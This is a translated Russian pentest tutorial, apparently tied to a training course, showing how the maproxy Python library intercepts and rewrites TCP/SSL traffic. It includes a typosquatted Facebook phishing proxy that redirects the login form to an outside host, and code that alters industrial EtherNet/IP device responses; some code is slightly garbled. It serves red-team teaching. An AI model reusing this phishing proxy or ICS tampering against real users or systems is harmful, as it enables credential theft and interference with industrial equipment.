ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

ΠŸΠ΅Ρ€Π΅Π²ΠΎΠ΄ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½ Π² ΠΏΡ€Π΅Π΄Π΄Π²Π΅Ρ€ΠΈΠΈ старта курса Β«ΠŸΠ΅Π½Ρ‚Π΅ΡΡ‚. ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° тСстирования Π½Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅Β».

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

Аннотация

Π Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ ΠΎΡ†Π΅Π½ΠΊΠΈ бСзопасности, начиная ΠΎΡ‚ рСгулярного тСстирования Π½Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Red Team Π΄ΠΎ Π²Π·Π»ΠΎΠΌΠ° IoT/ICS-устройств ΠΈ SCADA, ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°ΡŽΡ‚ ΠΏΠΎΠ΄ собой Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌΠΈ сСтСвыми ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°ΠΌΠΈ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎ сути, ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ Ρ†Π΅Π»ΡŒΡŽ. Π‘Π½ΠΈΡ„Ρ„ΠΈΠ½Π³ сСтСвого Ρ‚Ρ€Π°Ρ„Ρ„ΠΈΠΊΠ° Π½Π΅ являСтся слоТной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ инструмСнты, ΠΊΠ°ΠΊ Wireshark, Tcpdump ΠΈΠ»ΠΈ Scapy, ΠΎΠ΄Π½Π°ΠΊΠΎ модификация прСдставляСтся Π·Π°Π΄Π°Ρ‡Π΅ΠΉ Π±ΠΎΠ»Π΅Π΅ Ρ‚Ρ€ΡƒΠ΄ΠΎΠ΅ΠΌΠΊΠΎΠΉ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ своСобразный интСрфСйс для чтСния Π΄Π°Π½Π½Ρ‹Ρ… сСти, ΠΈΡ… Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ, измСнСния Π½Π° Π»Π΅Ρ‚Ρƒ ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° Ρ†Π΅Π»Π΅Π²ΠΎΠΉ хост ΠΏΠΎΡ‡Ρ‚ΠΈ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π±Ρ‹Π»ΠΎ Π±Ρ‹ идСально, Ссли Π±Ρ‹ Ρ‚Π°ΠΊΠΎΠΉ инструмСнт ΠΌΠΎΠ³ автоматичСски Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с нСсколькими ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ соСдинСниями ΠΈ ΠΈΠΌΠ΅Π» Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ кастомизации с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ скриптов.

ΠžΠ΄Π½Π°ΠΆΠ΄Ρ‹ я ΠΎΡ‚ΠΊΡ€Ρ‹Π» для сСбя инструмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ называСтся maproxy, докумСнтация быстро Π΄Π°Π»Π° ΠΌΠ½Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ maproxy – ΠΊΠ°ΠΊ Ρ€Π°Π· Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠ½Π΅ Π½ΡƒΠΆΠ½ΠΎ. Π­Ρ‚ΠΎ довольно простой, ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ Π»Π΅Π³ΠΊΠΎ настраиваСмый TCP-прокси. Π― протСстировал этот инструмСнт Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… достаточно слоТных прилоТСниях, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ICS – устройства (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ²), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΌΠΎΠΆΠ΅Ρ‚ Π»ΠΈ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с мноТСством ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½Ρ‹Ρ… соСдинСний, ΠΈ инструмСнт Ρ…ΠΎΡ€ΠΎΡˆΠΎ сСбя ΠΏΠΎΠΊΠ°Π·Π°Π».

Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ maproxy.

ΠžΠ±Π·ΠΎΡ€

Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ maproxy основан Π½Π° Tornado – популярном ΠΈ Ρ€Π°Π·Π²ΠΈΡ‚ΠΎΠΌ асинхронном сСтСвом Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ΅ Π½Π° Python.

Π’ Ρ†Π΅Π»ΠΎΠΌ, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ€Π΅ΠΆΠΈΠΌΠ°Ρ…:

  • TCP:TCP – Π½Π΅Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ TCP-соСдинСния;
  • TCP:SSL ΠΈ SSL:TCP – с односторонним ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ;
  • SSL:SSL – двустороннСС ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅.

Он поставляСтся Π² Π²ΠΈΠ΄Π΅ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ. Для быстрого запуска Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚Ρ€Π°ΠΆΠ°ΡŽΡ‚ основныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

КСйс 1 – простой Π΄Π²ΡƒΠ½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ прокси

ΠžΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ProxyServer() ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° – мСсто ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΈ Ρ†Π΅Π»Π΅Π²ΠΎΠΉ ΠΏΠΎΡ€Ρ‚. server.listen() ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² сСбя ΠΎΠ΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ – ΠΏΠΎΡ€Ρ‚ для ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΡ входящСго соСдинСния.

Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ скрипта:

# python tcp2tcp.py

Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ провСсти тСст, ΠΌΡ‹ собираСмся ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ SSH-сСрвСру Ρ‡Π΅Ρ€Π΅Π· наш прокси-скрипт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠ»ΡƒΡˆΠ°Π΅Ρ‚ Π½Π° 2222/tcp ΠΏΠΎΡ€Ρ‚Ρƒ ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΊ стандартному ΠΏΠΎΡ€Ρ‚Ρƒ 22/tcp SSH-сСрвСра:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

ΠŸΡ€ΠΈΠ²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½Ρ‹ΠΉ Π±Π°Π½Π½Π΅Ρ€ сообщаСт, Ρ‡Ρ‚ΠΎ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ скрипта ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ проксировал сСтСвой Ρ‚Ρ€Π°Ρ„ΠΈΠΊ.

КСйс 2 – модификация Π΄Π°Π½Π½Ρ‹Ρ…

Π”Ρ€ΡƒΠ³ΠΎΠΉ Π΄Π΅ΠΌΠΎ-скрипт logging_proxy.py идСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для взаимодСйствия с сСтСвыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π² Ρ„Π°ΠΉΠ»Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ для достиТСния своСй Ρ†Π΅Π»ΠΈ:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

Π‘Π°ΠΌΠΎΠ΅ интСрСсноС здСсь:

  • on_c2p_done_read – для ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎ ΠΏΡƒΡ‚ΠΈ ΠΎΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΊ сСрвСру;
  • on_p2s_done_read – Π² ΠΎΠ±Ρ€Π°Ρ‚Π½ΡƒΡŽ сторону.

Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ SSH-Π±Π°Π½Π½Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Π’Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ скрипт:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ Π² Π·Π°Π±Π»ΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ для Π½Π΅Π³ΠΎ имя SSH-сСрвСра Π±Ρ‹Π»ΠΎ ΠΏΠΎΠ΄ΠΌΠ΅Π½Π΅Π½ΠΎ Π½Π° Β«DumnySSHΒ».

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

КСйс 3 – простая Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Π°Ρ Π²Π΅Π±-страница

БущСствуСт бСсконСчноС количСство Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² использования этого инструмСнта. На этот Ρ€Π°Π· Π΄Π°Π²Π°ΠΉΡ‚Π΅ сосрСдоточимся Π½Π° Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½ΠΎΠΌ ΠΈΠ· области ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Red Team. Π”Π°Π²Π°ΠΉΡ‚Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΎΠ΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π»Π΅Π½Π΄ΠΈΠ½Π³Ρƒ m.facebook.com ΠΈ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡ кастомным Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ с ΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ‡Π°Ρ‚ΠΊΠΎΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, m.facebok.com. Π’ цСлях дСмонстрации просто ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΌΠ΅Π½ зарСгистрирован Π½Π°ΠΌΠΈ.

ΠœΡ‹ собираСмся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π½Π΅Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ сСтСвоС соСдинСниС с нашим прокси ΠΆΠ΅Ρ€Ρ‚Π² ΠΈ SSL Stream для сСрвСра Facebook (31.13.81.36). Π§Ρ‚ΠΎΠ±Ρ‹ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π°Ρ€Π°Π±ΠΎΡ‚Π°Π», Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ HTTP-хоста ΠΈ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ΅ имя хоста, Π° Π΅Ρ‰Π΅ ΠΌΡ‹ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΠΌ сТатиС ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π»Π΅Π³ΠΊΠΈΠΉ доступ ΠΊ ΠΈΡ… содСрТимому. Π’ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΠΌΡ‹ Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTML-Ρ„ΠΎΡ€ΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ для Π²Ρ…ΠΎΠ΄Π° ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΠ»ΠΈΡΡŒ Π½Π°ΠΌ, вмСсто сСрвСров Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Π’ ΠΈΡ‚ΠΎΠ³Π΅:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΌΡ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ смогли ΠΏΠΎΠ΄ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ сайт.

КСйс 4 – ΠŸΠΎΡ€Ρ‚ΠΈΠΌ Ethernet/IP

Π― довольно Π΄ΠΎΠ»Π³ΠΎ ΠΈΠΌΠ΅Π» Π΄Π΅Π»ΠΎ с ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹ΠΌΠΈ устройствами ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΌ обСспСчСниСм (ICS / SCADA), Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹ (PLC), ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π²Π²ΠΎΠ΄Π°-Π²Ρ‹Π²ΠΎΠ΄Π°, ΠΏΡ€ΠΈΠ²ΠΎΠ΄Ρ‹, Ρ€Π΅Π»Π΅, лСстничныС срСды программирования ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅. Π­Ρ‚ΠΎΡ‚ кСйс для Ρ‚Π΅Ρ…, ΠΊΠΎΠΌΡƒ нравятся ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹Π΅ ΡˆΡ‚ΡƒΠΊΠΈ. Π’Π·Π»ΠΎΠΌ Ρ‚Π°ΠΊΠΈΡ… Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΠΈΠ³Ρ€Ρƒ с сСтСвыми ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°ΠΌΠΈ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, я Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСтСвой Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ICS/SCADA.

Для этого Π²Π°ΠΌ понадобится ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:

  • Π‘Π΅Ρ‚Π΅Π²ΠΎΠΉ сниффСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Wireshark;
  • Ethernet/IP ΠΈΠ»ΠΈ просто SIP-устройство, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСрвиса Shodan;
  • Наш скрипт Π½Π° основС maproxy.

Для Π½Π°Ρ‡Π°Π»Π° Π΄Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΊΠ°ΠΊ выглядит Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ CIP (Common Industrial Protocol):

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° сСтСвых Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° Π»Π΅Ρ‚Ρƒ

Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ устройства осущСствляСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Ethernet/IP, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½ΠΎΠΉ вСрсиСй ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Ethernet для ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ, ΠΎΠ½ ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ управлСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ CIP. ΠœΡ‹ собираСмся ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ имя, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΈΠ΄Π½ΠΎ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ Β«NI-IndComm for EthernetΒ» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ нашСго прокси-скрипта. ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ скрипт logging_proxy.py ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ класса on_p2s_done_read, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅ Π±Ρ‹Π»ΠΎ Π²ΠΈΠ΄Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ имя.

Код:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По сути, ΠΌΡ‹ запросили ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ устройства Π΄Π²Π°ΠΆΠ΄Ρ‹, Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΡ‚Π²Π΅Ρ‚ – ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ, Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Ρ‹Π» ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ Π½Π° Π»Π΅Ρ‚Ρƒ.

И послСднСС

На ΠΌΠΎΠΉ взгляд maproxy ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ ΠΈ простой инструмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π΄ΠΎΠ±Π°Π²ΠΎΠΊ Π΅Ρ‰Π΅ ΠΈ написан Π½Π° Python, поэтому я ΡΡ‡ΠΈΡ‚Π°ΡŽ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ‚ΠΎΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π²Ρ‹Π³ΠΎΠ΄Ρƒ ΠΎΡ‚ Π΅Π³ΠΎ использования. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π±ΠΎΠ»Π΅Π΅ слоТныС инструмСнты для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈ измСнСния сСтСвых Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ½ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ большСго внимания ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ 